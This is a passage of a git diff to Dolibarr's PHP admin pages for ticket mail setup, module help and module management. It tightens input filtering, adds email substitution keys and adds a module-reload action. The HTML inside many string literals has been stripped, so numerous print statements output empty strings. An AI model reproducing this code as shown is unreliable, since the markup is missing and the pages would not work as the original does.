'page='.$page.'&' : ''), $param, 'align="center"', $sortfield, $sortorder); +print getTitleFieldOfList($langs->trans("Status"), 0, $_SERVER["PHP_SELF"], "active", ($page ? 'page='.$page.'&' : ''), $param, '', $sortfield, $sortorder, 'center '); print getTitleFieldOfList(''); print ''; @@ -1051,7 +1065,7 @@ if ($num) { if ($showfield) { // Show line for topic, joinfiles and content print ''; - print ''; + } elseif ($value == 'fk_user') { print ''; } elseif ($context == 'add' && in_array($value, array('topic', 'joinfiles', 'content', 'content_lines'))) { diff --git a/htdocs/admin/mails_ticket.php b/htdocs/admin/mails_ticket.php index c48146fc937..05d66516cde 100644 --- a/htdocs/admin/mails_ticket.php +++ b/htdocs/admin/mails_ticket.php @@ -32,23 +32,28 @@ require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; $langs->loadLangs(array('companies', 'products', 'admin', 'mails', 'other', 'errors')); $action = GETPOST('action', 'aZ09'); -$cancel = GETPOST('cancel', 'alpha'); +$cancel = GETPOST('cancel', 'aZ09'); $usersignature = $user->signature; // For action = test or send, we ensure that content is not html, even for signature, because this we want a test with NO html. if ($action == 'test' || $action == 'send') { - $usersignature = dol_string_nohtmltag($usersignature); + $usersignature = dol_string_nohtmltag($usersignature, 2); } $substitutionarrayfortest = array( -'__LOGIN__' => $user->login, -'__ID__' => 'TESTIdRecord', -'__EMAIL__' => 'TESTEMail', -'__LASTNAME__' => 'TESTLastname', -'__FIRSTNAME__' => 'TESTFirstname', -'__USER_SIGNATURE__' => (($user->signature && empty($conf->global->MAIN_MAIL_DO_NOT_USE_SIGN)) ? $usersignature : ''), -'__SENDEREMAIL_SIGNATURE__' => (($user->signature && empty($conf->global->MAIN_MAIL_DO_NOT_USE_SIGN)) ? $usersignature : ''), // Done into actions_sendmails -//'__PERSONALIZED__' => 'TESTPersonalized' // Hiden because not used yet + '__DOL_MAIN_URL_ROOT__'=>DOL_MAIN_URL_ROOT, + '__ID__' => 'TESTIdRecord', + '__EMAIL__' => 'TESTEMail', + '__LOGIN__' => $user->login, + '__LASTNAME__' => 'TESTLastname', + '__FIRSTNAME__' => 'TESTFirstname', + '__ADDRESS__'=> 'RecipientAddress', + '__ZIP__'=> 'RecipientZip', + '__TOWN_'=> 'RecipientTown', + '__COUNTRY__'=> 'RecipientCountry', + '__USER_SIGNATURE__' => (($user->signature && empty($conf->global->MAIN_MAIL_DO_NOT_USE_SIGN)) ? $usersignature : ''), + '__SENDEREMAIL_SIGNATURE__' => (($user->signature && empty($conf->global->MAIN_MAIL_DO_NOT_USE_SIGN)) ? $usersignature : ''), // Done into actions_sendmails + //'__PERSONALIZED__' => 'TESTPersonalized' // Hiden because not used yet ); complete_substitutions_array($substitutionarrayfortest, $langs); @@ -94,10 +99,10 @@ $trackid = (($action == 'testhtml') ? "testhtml" : "test"); $sendcontext = 'ticket'; // Force to use dedicated context of setup for ticket include DOL_DOCUMENT_ROOT.'/core/actions_sendmails.inc.php'; -if ($action == 'presend' && GETPOST('trackid') == 'test') { +if ($action == 'presend' && GETPOST('trackid', 'alphanohtml') == 'test') { $action = 'test'; } -if ($action == 'presend' && GETPOST('trackid') == 'testhtml') { +if ($action == 'presend' && GETPOST('trackid', 'alphanohtml') == 'testhtml') { $action = 'testhtml'; } @@ -317,12 +322,15 @@ if ($action == 'edit') { // Host server - print ''; if (!$conf->use_javascript_ajax && $linuxlike && $conf->global->MAIN_MAIL_SENDMODE_TICKET == 'mail') { + print ''; } else { + print ''; } - print ''; + print ''; // Port @@ -351,7 +360,7 @@ if ($action == 'edit') { if (!$conf->use_javascript_ajax && $linuxlike && $conf->global->MAIN_MAIL_SENDMODE_TICKET == 'mail') { print $langs->trans("MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike"); print ''; + // AUTH method + if (!empty($conf->use_javascript_ajax) || (isset($conf->global->MAIN_MAIL_SENDMODE_TICKET) && in_array($conf->global->MAIN_MAIL_SENDMODE_TICKET, array('smtps', 'swiftmailer')))) { + print ''; + } + // ID if (!empty($conf->use_javascript_ajax) || (isset($conf->global->MAIN_MAIL_SENDMODE_TICKET) && in_array($conf->global->MAIN_MAIL_SENDMODE_TICKET, array('smtps', 'swiftmailer')))) { $mainstmpid = (!empty($conf->global->MAIN_MAIL_SMTPS_ID_TICKET) ? $conf->global->MAIN_MAIL_SMTPS_ID_TICKET : ''); @@ -390,25 +418,6 @@ if ($action == 'edit') { print ''; } - // OAUTH - if (!empty($conf->use_javascript_ajax) || (isset($conf->global->MAIN_MAIL_SENDMODE_TICKET) && in_array($conf->global->MAIN_MAIL_SENDMODE_TICKET, array('smtps', 'swiftmailer')))) { - print ''; - } - - // PW if (!empty($conf->use_javascript_ajax) || (isset($conf->global->MAIN_MAIL_SENDMODE_TICKET) && in_array($conf->global->MAIN_MAIL_SENDMODE_TICKET, array('smtps', 'swiftmailer')))) { $mainsmtppw = (!empty($conf->global->MAIN_MAIL_SMTPS_PW_TICKET) ? $conf->global->MAIN_MAIL_SMTPS_PW_TICKET : ''); @@ -514,11 +523,6 @@ if ($action == 'edit') { print ''; } - // SMTPS ID - if (isset($conf->global->MAIN_MAIL_SENDMODE_TICKET) && in_array($conf->global->MAIN_MAIL_SENDMODE_TICKET, array('smtps', 'swiftmailer'))) { - print ''; - } - // AUTH method if (in_array(getDolGlobalString('MAIN_MAIL_SENDMODE_TICKET'), array('smtps', 'swiftmailer'))) { $authtype = getDolGlobalString('MAIN_MAIL_SMTPS_AUTH_TYPE_TICKET', 'LOGIN'); @@ -526,6 +530,11 @@ if ($action == 'edit') { print ''; } + // SMTPS ID + if (isset($conf->global->MAIN_MAIL_SENDMODE_TICKET) && in_array($conf->global->MAIN_MAIL_SENDMODE_TICKET, array('smtps', 'swiftmailer'))) { + print ''; + } + // SMTPS PW if (isset($conf->global->MAIN_MAIL_SENDMODE_TICKET) && in_array($conf->global->MAIN_MAIL_SENDMODE_TICKET, array('smtps', 'swiftmailer')) && getDolGlobalString('MAIN_MAIL_SMTPS_AUTH_TYPE_TICKET') != "XOAUTH2") { print ''; @@ -621,6 +630,7 @@ if ($action == 'edit') { // Run the test to connect if ($action == 'testconnect') { + print '
      '; print load_fiche_titre($langs->trans("DoTestServerAvailability")); include_once DOL_DOCUMENT_ROOT.'/core/class/CMailFile.class.php'; @@ -651,8 +661,8 @@ if ($action == 'edit') { // Cree l'objet formulaire mail include_once DOL_DOCUMENT_ROOT.'/core/class/html.formmail.class.php'; $formmail = new FormMail($db); - $formmail->fromname = (GETPOSTISSET('fromname') ? GETPOST('fromname') : $conf->global->MAIN_MAIL_EMAIL_FROM); - $formmail->frommail = (GETPOSTISSET('frommail') ? GETPOST('frommail') : $conf->global->MAIN_MAIL_EMAIL_FROM); + $formmail->fromname = (GETPOSTISSET('fromname') ? GETPOST('fromname', 'restricthtml') : $conf->global->MAIN_MAIL_EMAIL_FROM); + $formmail->frommail = (GETPOSTISSET('frommail') ? GETPOST('frommail', 'restricthtml') : $conf->global->MAIN_MAIL_EMAIL_FROM); $formmail->trackid = (($action == 'testhtml') ? "testhtml" : "test"); $formmail->withfromreadonly = 0; $formmail->withsubstit = 0; @@ -679,7 +689,7 @@ if ($action == 'edit') { $formmail->param["returnurl"] = $_SERVER["PHP_SELF"]; // Init list of files - if (GETPOST("mode") == 'init') { + if (GETPOST("mode", "aZ09") == 'init') { $formmail->clear_attached_files(); } diff --git a/htdocs/admin/modulehelp.php b/htdocs/admin/modulehelp.php index e18e65e47a0..1af4b25bb27 100644 --- a/htdocs/admin/modulehelp.php +++ b/htdocs/admin/modulehelp.php @@ -372,13 +372,13 @@ if ($mode == 'feature') { if (count($objMod->depends)) { $text .= join(',', $objMod->depends); } else { - $text .= $langs->trans("None"); + $text .= ''.$langs->trans("None").''; } $text .= '
      '.$langs->trans("RequiredBy").': '; if (count($objMod->requiredby)) { $text .= join(',', $objMod->requiredby); } else { - $text .= $langs->trans("None"); + $text .= ''.$langs->trans("None").''; } $text .= '

      '; @@ -395,7 +395,7 @@ if ($mode == 'feature') { $i++; } } else { - $text .= $langs->trans("No"); + $text .= ''.$langs->trans("No").''; } $text .= '
      '; @@ -408,7 +408,7 @@ if ($mode == 'feature') { $i++; } } else { - $text .= $langs->trans("No"); + $text .= ''.$langs->trans("No").''; } $text .= '
      '; @@ -418,7 +418,7 @@ if ($mode == 'feature') { if (dol_is_file($filedata)) { $text .= $langs->trans("Yes").' ('.$moduledir.'/sql/data.sql)'; } else { - $text .= $langs->trans("No"); + $text .= ''.$langs->trans("No").''; } $text .= '
      '; @@ -437,7 +437,7 @@ if ($mode == 'feature') { } } } else { - $text .= $langs->trans("No"); + $text .= ''.$langs->trans("No").''; } $text .= '
      '; @@ -446,7 +446,7 @@ if ($mode == 'feature') { if (isset($objMod->module_parts) && isset($objMod->module_parts['models']) && $objMod->module_parts['models']) { $text .= $langs->trans("Yes"); } else { - $text .= $langs->trans("No"); + $text .= ''.$langs->trans("No").''; } $text .= '
      '; @@ -455,7 +455,7 @@ if ($mode == 'feature') { if (isset($objMod->module_parts) && isset($objMod->module_parts['substitutions']) && $objMod->module_parts['substitutions']) { $text .= $langs->trans("Yes"); } else { - $text .= $langs->trans("No"); + $text .= ''.$langs->trans("No").''; } $text .= '
      '; @@ -468,7 +468,7 @@ if ($mode == 'feature') { $i++; } } else { - $text .= $langs->trans("No"); + $text .= ''.$langs->trans("No").''; } $text .= '
      '; @@ -498,11 +498,14 @@ if ($mode == 'feature') { if (isset($objMod->boxes) && is_array($objMod->boxes) && count($objMod->boxes)) { $i = 0; foreach ($objMod->boxes as $val) { - $text .= ($i ? ', ' : '').($val['file'] ? $val['file'] : $val[0]); + $boxstring = (empty($val['file']) ? (empty($val[0]) ? '' : $val[0]) : $val['file']); + if ($boxstring) { + $text .= ($i ? ', ' : '').$boxstring; + } $i++; } } else { - $text .= $langs->trans("No"); + $text .= ''.$langs->trans("No").''; } $text .= '
      '; @@ -531,7 +534,7 @@ if ($mode == 'feature') { $i++; } } else { - $text .= $langs->trans("No"); + $text .= ''.$langs->trans("No").''; } $text .= '
      '; @@ -544,7 +547,7 @@ if ($mode == 'feature') { $i++; } } else { - $text .= $langs->trans("No"); + $text .= ''.$langs->trans("No").''; } $text .= '
      '; @@ -553,7 +556,7 @@ if ($mode == 'feature') { if (isset($objMod->menu) && !empty($objMod->menu)) { // objMod can be an array or just an int 1 $text .= $langs->trans("Yes"); } else { - $text .= $langs->trans("No"); + $text .= ''.$langs->trans("No").''; } $text .= '
      '; @@ -566,7 +569,7 @@ if ($mode == 'feature') { $i++; } } else { - $text .= $langs->trans("No"); + $text .= ''.$langs->trans("No").''; } $text .= '
      '; @@ -579,13 +582,13 @@ if ($mode == 'feature') { $i++; } } else { - $text .= $langs->trans("No"); + $text .= ''.$langs->trans("No").''; } $text .= '
      '; $text .= '
      '.$langs->trans("AddOtherPagesOrServices").': '; - $text .= $langs->trans("DetectionNotPossible"); + $text .= ''.$langs->trans("DetectionNotPossible").''; } @@ -594,7 +597,7 @@ if ($mode == 'changelog') { if ($changelog) { $text .= '
      '.$changelog.'
      '; } else { - $text .= '
      '.$langs->trans("NotAvailable").'
      '; + $text .= '
      '.$langs->trans("NotAvailable").'
      '; } } diff --git a/htdocs/admin/modules.php b/htdocs/admin/modules.php index d011b250730..68bec8431a7 100644 --- a/htdocs/admin/modules.php +++ b/htdocs/admin/modules.php @@ -4,11 +4,11 @@ * Copyright (C) 2004-2017 Laurent Destailleur * Copyright (C) 2004 Eric Seigne * Copyright (C) 2005-2017 Regis Houssin - * Copyright (C) 2011 Juanjo Menent + * Copyright (C) 2011-2023 Juanjo Menent * Copyright (C) 2015 Jean-François Ferry * Copyright (C) 2015 Raphaël Doursenaud * Copyright (C) 2018 Nicolas ZABOURI - * Copyright (C) 2021 Frédéric France + * Copyright (C) 2021-2023 Frédéric France * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -65,9 +65,9 @@ $search_version = GETPOST('search_version', 'alpha'); // For dolistore search $options = array(); $options['per_page'] = 20; -$options['categorie'] = ((GETPOST('categorie', 'int') ?GETPOST('categorie', 'int') : 0) + 0); -$options['start'] = ((GETPOST('start', 'int') ?GETPOST('start', 'int') : 0) + 0); -$options['end'] = ((GETPOST('end', 'int') ?GETPOST('end', 'int') : 0) + 0); +$options['categorie'] = ((int) (GETPOST('categorie', 'int') ? GETPOST('categorie', 'int') : 0)); +$options['start'] = ((int) (GETPOST('start', 'int') ?GETPOST('start', 'int') : 0)); +$options['end'] = ((int) (GETPOST('end', 'int') ?GETPOST('end', 'int') : 0)); $options['search'] = GETPOST('search_keyword', 'alpha'); $dolistore = new Dolistore(false); @@ -205,6 +205,7 @@ if ($action == 'install') { dol_syslog("Uncompress of module file is a success."); + // We check if this is a metapackage $modulenamearrays = array(); if (dol_is_file($modulenamedir.'/metapackage.conf')) { // This is a meta package @@ -214,6 +215,7 @@ if ($action == 'install') { $modulenamearrays[$modulename] = $modulename; //var_dump($modulenamearrays);exit; + // Lop on each packacge of the metapackage foreach ($modulenamearrays as $modulenameval) { if (strpos($modulenameval, '#') === 0) { continue; // Discard comments @@ -227,13 +229,17 @@ if ($action == 'install') { // Now we install the module if (!$error) { - @dol_delete_dir_recursive($dirins.'/'.$modulenameval); // delete the zip file - dol_syslog("We copy now directory ".$conf->admin->dir_temp.'/'.$tmpdir.'/htdocs/'.$modulenameval." into target dir ".$dirins.'/'.$modulenameval); - $result = dolCopyDir($modulenamedir, $dirins.'/'.$modulenameval, '0444', 1); + @dol_delete_dir_recursive($dirins.'/'.$modulenameval); // delete the target directory + $submodulenamedir = $conf->admin->dir_temp.'/'.$tmpdir.'/'.$modulenameval; + if (!dol_is_dir($modulenamedir)) { + $submodulenamedir = $conf->admin->dir_temp.'/'.$tmpdir.'/htdocs/'.$modulenameval; + } + dol_syslog("We copy now directory ".$submodulenamedir." into target dir ".$dirins.'/'.$modulenameval); + $result = dolCopyDir($submodulenamedir, $dirins.'/'.$modulenameval, '0444', 1); if ($result <= 0) { - dol_syslog('Failed to call dolCopyDir result='.$result." with param ".$modulenamedir." and ".$dirins.'/'.$modulenameval, LOG_WARNING); + dol_syslog('Failed to call dolCopyDir result='.$result." with param ".$submodulenamedir." and ".$dirins.'/'.$modulenameval, LOG_WARNING); $langs->load("errors"); - setEventMessages($langs->trans("ErrorFailToCopyDir", $modulenamedir, $dirins.'/'.$modulenameval), null, 'errors'); + setEventMessages($langs->trans("ErrorFailToCopyDir", $submodulenamedir, $dirins.'/'.$modulenameval), null, 'errors'); $error++; } } @@ -251,7 +257,15 @@ if ($action == 'install') { } if ($action == 'set' && $user->admin) { + $checkOldValue = getDolGlobalInt('CHECKLASTVERSION_EXTERNALMODULE'); + $csrfCheckOldValue = getDolGlobalInt('MAIN_SECURITY_CSRF_WITH_TOKEN'); $resarray = activateModule($value); + if ($checkOldValue != getDolGlobalInt('CHECKLASTVERSION_EXTERNALMODULE')) { + setEventMessage($langs->trans('WarningModuleHasChangedLastVersionCheckParameter', $value), 'warnings'); + } + if ($csrfCheckOldValue != getDolGlobalInt('MAIN_SECURITY_CSRF_WITH_TOKEN')) { + setEventMessage($langs->trans('WarningModuleHasChangedSecurityCsrfParameter', $value), 'warnings'); + } dolibarr_set_const($db, "MAIN_IHM_PARAMS_REV", (int) $conf->global->MAIN_IHM_PARAMS_REV + 1, 'chaine', 0, '', $conf->entity); if (!empty($resarray['errors'])) { setEventMessages('', $resarray['errors'], 'errors'); @@ -282,10 +296,39 @@ if ($action == 'set' && $user->admin) { } header("Location: ".$_SERVER["PHP_SELF"]."?mode=".$mode.$param.($page_y ? '&page_y='.$page_y : '')); exit; +} elseif (getDolGlobalInt("MAIN_FEATURES_LEVEL") > 1 && $action == 'reload' && $user->admin && GETPOST('confirm') == 'yes') { + $result = unActivateModule($value, 0); + dolibarr_set_const($db, "MAIN_IHM_PARAMS_REV", (int) $conf->global->MAIN_IHM_PARAMS_REV + 1, 'chaine', 0, '', $conf->entity); + if ($result) { + setEventMessages($result, null, 'errors'); + header("Location: ".$_SERVER["PHP_SELF"]."?mode=".$mode.$param.($page_y ? '&page_y='.$page_y : '')); + } + $resarray = activateModule($value, 0, 1); + dolibarr_set_const($db, "MAIN_IHM_PARAMS_REV", (int) $conf->global->MAIN_IHM_PARAMS_REV + 1, 'chaine', 0, '', $conf->entity); + if (!empty($resarray['errors'])) { + setEventMessages('', $resarray['errors'], 'errors'); + } else { + if ($resarray['nbperms'] > 0) { + $tmpsql = "SELECT COUNT(rowid) as nb FROM ".MAIN_DB_PREFIX."user WHERE admin <> 1"; + $resqltmp = $db->query($tmpsql); + if ($resqltmp) { + $obj = $db->fetch_object($resqltmp); + if ($obj && $obj->nb > 1) { + $msg = $langs->trans('ModuleEnabledAdminMustCheckRights'); + setEventMessages($msg, null, 'warnings'); + } + } else { + dol_print_error($db); + } + } + } + header("Location: ".$_SERVER["PHP_SELF"]."?mode=".$mode.$param.($page_y ? '&page_y='.$page_y : '')); + exit; } + /* * View */ @@ -342,99 +385,95 @@ foreach ($modulesdir as $dir) { try { $res = include_once $dir.$file; // A class already exists in a different file will send a non catchable fatal error. if (class_exists($modName)) { - try { - $objMod = new $modName($db); - $modNameLoaded[$modName] = $dir; - if (!$objMod->numero > 0 && $modName != 'modUser') { - dol_syslog('The module descriptor '.$modName.' must have a numero property', LOG_ERR); - } - $j = $objMod->numero; + $objMod = new $modName($db); + $modNameLoaded[$modName] = $dir; + if (!$objMod->numero > 0 && $modName != 'modUser') { + dol_syslog('The module descriptor '.$modName.' must have a numero property', LOG_ERR); + } + $j = $objMod->numero; - $modulequalified = 1; + $modulequalified = 1; - // We discard modules according to features level (PS: if module is activated we always show it) - $const_name = 'MAIN_MODULE_'.strtoupper(preg_replace('/^mod/i', '', get_class($objMod))); - if ($objMod->version == 'development' && (empty($conf->global->$const_name) && ($conf->global->MAIN_FEATURES_LEVEL < 2))) { - $modulequalified = 0; - } - if ($objMod->version == 'experimental' && (empty($conf->global->$const_name) && ($conf->global->MAIN_FEATURES_LEVEL < 1))) { - $modulequalified = 0; - } - if (preg_match('/deprecated/', $objMod->version) && (empty($conf->global->$const_name) && ($conf->global->MAIN_FEATURES_LEVEL >= 0))) { - $modulequalified = 0; - } + // We discard modules according to features level (PS: if module is activated we always show it) + $const_name = 'MAIN_MODULE_'.strtoupper(preg_replace('/^mod/i', '', get_class($objMod))); + if ($objMod->version == 'development' && (empty($conf->global->$const_name) && ($conf->global->MAIN_FEATURES_LEVEL < 2))) { + $modulequalified = 0; + } + if ($objMod->version == 'experimental' && (empty($conf->global->$const_name) && ($conf->global->MAIN_FEATURES_LEVEL < 1))) { + $modulequalified = 0; + } + if (preg_match('/deprecated/', $objMod->version) && (empty($conf->global->$const_name) && ($conf->global->MAIN_FEATURES_LEVEL >= 0))) { + $modulequalified = 0; + } - // We discard modules according to property ->hidden - if (!empty($objMod->hidden)) { - $modulequalified = 0; - } + // We discard modules according to property ->hidden + if (!empty($objMod->hidden)) { + $modulequalified = 0; + } - if ($modulequalified > 0) { - $publisher = dol_escape_htmltag($objMod->getPublisher()); - $external = ($objMod->isCoreOrExternalModule() == 'external'); - if ($external) { - if ($publisher) { - $arrayofnatures['external_'.$publisher] = $langs->trans("External").' - '.$publisher; - } else { - $arrayofnatures['external_'] = $langs->trans("External").' - '.$langs->trans("UnknownPublishers"); - } - } - ksort($arrayofnatures); - - // Define array $categ with categ with at least one qualified module - $filename[$i] = $modName; - $modules[$modName] = $objMod; - - // Gives the possibility to the module, to provide his own family info and position of this family - if (is_array($objMod->familyinfo) && !empty($objMod->familyinfo)) { - $familyinfo = array_merge($familyinfo, $objMod->familyinfo); - $familykey = key($objMod->familyinfo); + if ($modulequalified > 0) { + $publisher = dol_escape_htmltag($objMod->getPublisher()); + $external = ($objMod->isCoreOrExternalModule() == 'external'); + if ($external) { + if ($publisher) { + $arrayofnatures['external_'.$publisher] = $langs->trans("External").' - '.$publisher; } else { - $familykey = $objMod->family; + $arrayofnatures['external_'] = $langs->trans("External").' - '.$langs->trans("UnknownPublishers"); } + } + ksort($arrayofnatures); - $moduleposition = ($objMod->module_position ? $objMod->module_position : '50'); - if ($objMod->isCoreOrExternalModule() == 'external' && $moduleposition < 100000) { - // an external module should never return a value lower than '80'. - $moduleposition = '80'; // External modules at end by default - } + // Define array $categ with categ with at least one qualified module + $filename[$i] = $modName; + $modules[$modName] = $objMod; - // Add list of warnings to show into arrayofwarnings and arrayofwarningsext - if (!empty($objMod->warnings_activation)) { - $arrayofwarnings[$modName] = $objMod->warnings_activation; - } - if (!empty($objMod->warnings_activation_ext)) { - $arrayofwarningsext[$modName] = $objMod->warnings_activation_ext; - } - - $familyposition = (empty($familyinfo[$familykey]['position']) ? 0 : $familyinfo[$familykey]['position']); - $listOfOfficialModuleGroups = array('hr', 'technic', 'interface', 'technic', 'portal', 'financial', 'crm', 'base', 'products', 'srm', 'ecm', 'projects', 'other'); - if ($external && !in_array($familykey, $listOfOfficialModuleGroups)) { - // If module is extern and into a custom group (not into an official predefined one), it must appear at end (custom groups should not be before official groups). - if (is_numeric($familyposition)) { - $familyposition = sprintf("%03d", (int) $familyposition + 100); - } - } - - $orders[$i] = $familyposition."_".$familykey."_".$moduleposition."_".$j; // Sort by family, then by module position then number - - // Set categ[$i] - $specialstring = 'unknown'; - if ($objMod->version == 'development' || $objMod->version == 'experimental') { - $specialstring = 'expdev'; - } - if (isset($categ[$specialstring])) { - $categ[$specialstring]++; // Array of all different modules categories - } else { - $categ[$specialstring] = 1; - } - $j++; - $i++; + // Gives the possibility to the module, to provide his own family info and position of this family + if (is_array($objMod->familyinfo) && !empty($objMod->familyinfo)) { + $familyinfo = array_merge($familyinfo, $objMod->familyinfo); + $familykey = key($objMod->familyinfo); } else { - dol_syslog("Module ".get_class($objMod)." not qualified"); + $familykey = $objMod->family; } - } catch (Exception $e) { - dol_syslog("Failed to load ".$dir.$file." ".$e->getMessage(), LOG_ERR); + + $moduleposition = ($objMod->module_position ? $objMod->module_position : '50'); + if ($objMod->isCoreOrExternalModule() == 'external' && $moduleposition < 100000) { + // an external module should never return a value lower than '80'. + $moduleposition = '80'; // External modules at end by default + } + + // Add list of warnings to show into arrayofwarnings and arrayofwarningsext + if (!empty($objMod->warnings_activation)) { + $arrayofwarnings[$modName] = $objMod->warnings_activation; + } + if (!empty($objMod->warnings_activation_ext)) { + $arrayofwarningsext[$modName] = $objMod->warnings_activation_ext; + } + + $familyposition = (empty($familyinfo[$familykey]['position']) ? 0 : $familyinfo[$familykey]['position']); + $listOfOfficialModuleGroups = array('hr', 'technic', 'interface', 'technic', 'portal', 'financial', 'crm', 'base', 'products', 'srm', 'ecm', 'projects', 'other'); + if ($external && !in_array($familykey, $listOfOfficialModuleGroups)) { + // If module is extern and into a custom group (not into an official predefined one), it must appear at end (custom groups should not be before official groups). + if (is_numeric($familyposition)) { + $familyposition = sprintf("%03d", (int) $familyposition + 100); + } + } + + $orders[$i] = $familyposition."_".$familykey."_".$moduleposition."_".$j; // Sort by family, then by module position then number + + // Set categ[$i] + $specialstring = 'unknown'; + if ($objMod->version == 'development' || $objMod->version == 'experimental') { + $specialstring = 'expdev'; + } + if (isset($categ[$specialstring])) { + $categ[$specialstring]++; // Array of all different modules categories + } else { + $categ[$specialstring] = 1; + } + $j++; + $i++; + } else { + dol_syslog("Module ".get_class($objMod)." not qualified"); } } else { print "Warning bad descriptor file : ".$dir.$file." (Class ".$modName." not found into file)
      "; @@ -464,6 +503,19 @@ if ($action == 'reset_confirm' && $user->admin) { } } +if ($action == 'reload_confirm' && $user->admin) { + if (!empty($modules[$value])) { + $objMod = $modules[$value]; + + if (!empty($objMod->langfiles)) { + $langs->loadLangs($objMod->langfiles); + } + + $form = new Form($db); + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?value='.$value.'&mode='.$mode.$param, $langs->trans('ConfirmReload'), $langs->trans(GETPOST('confirm_message_code')), 'reload', '', 'no', 1); + } +} + print $formconfirm; asort($orders); @@ -473,12 +525,10 @@ asort($orders); $nbofactivatedmodules = count($conf->modules); -//$conf->global->MAIN_MIN_NB_ENABLED_MODULE_FOR_WARNING = 1000; -/*$moreinfo = $langs->trans("TitleNumberOfActivatedModules"); -$moreinfo2 = ''.($nbofactivatedmodules - 1).' / '.count($modules).''; -if ($nbofactivatedmodules <= (empty($conf->global->MAIN_MIN_NB_ENABLED_MODULE_FOR_WARNING) ? 1 : $conf->global->MAIN_MIN_NB_ENABLED_MODULE_FOR_WARNING)) { - $moreinfo2 .= ' '.img_warning($langs->trans("YouMustEnableOneModule")); -}*/ +$nbmodulesnotautoenabled = count($conf->modules); +if (in_array('fckeditor', $conf->modules)) $nbmodulesnotautoenabled--; +if (in_array('export', $conf->modules)) $nbmodulesnotautoenabled--; +if (in_array('import', $conf->modules)) $nbmodulesnotautoenabled--; print load_fiche_titre($langs->trans("ModulesSetup"), '', 'title_setup'); @@ -489,7 +539,7 @@ if ($mode == 'common' || $mode == 'commonkanban') { $desc .= ' '.$langs->trans("ModulesDesc2", '{picto2}'); $desc = str_replace('{picto}', img_picto('', 'switch_off', 'class="size15x"'), $desc); $desc = str_replace('{picto2}', img_picto('', 'setup', 'class="size15x"'), $desc); - if (!count($conf->modules) <= (empty($conf->global->MAIN_MIN_NB_ENABLED_MODULE_FOR_WARNING) ? 1 : $conf->global->MAIN_MIN_NB_ENABLED_MODULE_FOR_WARNING)) { // If only minimal initial modules enabled + if ($nbmodulesnotautoenabled <= getDolGlobalInt('MAIN_MIN_NB_ENABLED_MODULE_FOR_WARNING', 1)) { // If only minimal initial modules enabled $deschelp = '
      '.$desc."

      \n"; } } @@ -503,7 +553,7 @@ if ($mode == 'develop') { $deschelp = '
      '.$langs->trans("ModulesDevelopDesc")."

      \n"; } -$head = modules_prepare_head($nbofactivatedmodules, count($modules)); +$head = modules_prepare_head($nbofactivatedmodules, count($modules), $nbmodulesnotautoenabled); if ($mode == 'common' || $mode == 'commonkanban') { @@ -538,8 +588,6 @@ if ($mode == 'common' || $mode == 'commonkanban') { $moreforfilter .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=commonkanban'.$param, '', ($mode == 'commonkanban' ? 2 : 1), array('morecss'=>'reposition')); $moreforfilter .= '
      '; - //$moreforfilter .= '
      '.$moreinfo.' '.$moreinfo2.'
      '; - $moreforfilter .= '
      '; $moreforfilter .= '
      '; $moreforfilter .= img_picto($langs->trans("Filter"), 'filter', 'class="paddingright opacityhigh hideonsmartphone"').''; @@ -547,6 +595,7 @@ if ($mode == 'common' || $mode == 'commonkanban') { $moreforfilter .= '
      '; $moreforfilter .= $form->selectarray('search_nature', $arrayofnatures, dol_escape_htmltag($search_nature), $langs->trans('Origin'), 0, 0, '', 0, 0, 0, '', 'maxwidth250', 1); $moreforfilter .= '
      '; + if (getDolGlobalInt('MAIN_FEATURES_LEVEL')) { $array_version = array('stable'=>$langs->transnoentitiesnoconv("Stable")); if ($conf->global->MAIN_FEATURES_LEVEL < 0) { @@ -559,11 +608,12 @@ if ($mode == 'common' || $mode == 'commonkanban') { $array_version['development'] = $langs->trans("Development"); } $moreforfilter .= '
      '; - $moreforfilter .= $form->selectarray('search_version', $array_version, $search_version, $langs->trans('Version'), 0, 0, '', 0, 0, 0, '', 'maxwidth150', 1); + $moreforfilter .= $form->selectarray('search_version', $array_version, $search_version, $langs->transnoentitiesnoconv('Version'), 0, 0, '', 0, 0, 0, '', 'maxwidth150', 1); $moreforfilter .= '
      '; } + $array_status = array('active'=>$langs->transnoentitiesnoconv("Enabled"), 'disabled'=>$langs->transnoentitiesnoconv("Disabled")); $moreforfilter .= '
      '; - $moreforfilter .= $form->selectarray('search_status', array('active'=>$langs->transnoentitiesnoconv("Enabled"), 'disabled'=>$langs->transnoentitiesnoconv("Disabled")), $search_status, $langs->trans('Status'), 0, 0, '', 0, 0, 0, '', 'maxwidth150', 1); + $moreforfilter .= $form->selectarray('search_status', $array_status, $search_status, $langs->transnoentitiesnoconv('Status'), 0, 0, '', 0, 0, 0, '', 'maxwidth150', 1); $moreforfilter .= '
      '; $moreforfilter .= ' '; $moreforfilter .= '
      '; @@ -641,11 +691,11 @@ if ($mode == 'common' || $mode == 'commonkanban') { // We discard showing according to filters if ($search_keyword) { $qualified = 0; - if (preg_match('/'.preg_quote($search_keyword).'/i', $modulename) - || preg_match('/'.preg_quote($search_keyword).'/i', $moduletechnicalname) - || preg_match('/'.preg_quote($search_keyword).'/i', $moduledesc) - || preg_match('/'.preg_quote($search_keyword).'/i', $moduledesclong) - || preg_match('/'.preg_quote($search_keyword).'/i', $moduleauthor) + if (preg_match('/'.preg_quote($search_keyword, '/').'/i', $modulename) + || preg_match('/'.preg_quote($search_keyword, '/').'/i', $moduletechnicalname) + || ($moduledesc && preg_match('/'.preg_quote($search_keyword, '/').'/i', $moduledesc)) + || ($moduledesclong && preg_match('/'.preg_quote($search_keyword, '/').'/i', $moduledesclong)) + || ($moduleauthor && preg_match('/'.preg_quote($search_keyword, '/').'/i', $moduleauthor)) ) { $qualified = 1; } @@ -715,7 +765,7 @@ if ($mode == 'common' || $mode == 'commonkanban') { print load_fiche_titre($familytext, '', '', 0, '', 'modulefamilygroup'); if ($mode == 'commonkanban') { - print '
      '; + print '
      '; } else { print '
      '; print '
      '.img_picto('', 'technic', 'class="pictofixedwidth"').$form->textwithpicto($langs->trans("EmailcollectorOperations"), $langs->trans("EmailcollectorOperationsDesc")).'
